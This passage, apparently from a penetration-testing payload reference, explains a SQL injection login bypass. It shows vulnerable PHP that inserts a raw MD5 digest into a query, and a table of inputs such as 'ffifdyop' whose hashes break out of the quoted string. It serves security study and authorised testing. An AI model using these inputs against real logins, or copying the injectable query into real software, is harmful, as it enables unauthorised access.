SQL Injection · passage 6 of 186

Raw MD5 and SHA1

2 code blocks · SQL Injection/README.md

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In PHP, if the optional `binary` parameter is set to true, then the `md5` digest is instead returned in raw binary format with a length of 16. Let's take this PHP code where the authentication is checking the MD5 hash of the password submitted by the user.

sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";

An attacker can craft a payload where the result of the `md5($password,true)` function will contain a quote and escape the SQL context, for example with `' or 'SOMETHING`. | Hash | Input | Output (Raw) | Payload | | ---- | --------------------------------------- | ----------------------- | ------- | | md5 | ffifdyop | `'or'6�]��!r,��b` | `'or'` | | md5 | 129581926211651571912466741651878684928 | `ÚT0Do#ßÁ'or'8` | `'or'` | | sha1 | 3fDf | `Q�u'='�@�[�t�- o��_-!` | `'='` | | sha1 | 178374 | `ÜÛ¾}_ia!8Wm'/*´Õ` | `'/*` | | sha1 | 17 | `Ùp2ûjww%6\` | `\` | This behavior can be abused to bypass the authentication by escaping the context.

sql1 = "SELECT * FROM admin WHERE pass = '".md5("ffifdyop", true)."'";
sql1 = "SELECT * FROM admin WHERE pass = ''or'6�]��!r,��b'";

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Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-13 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.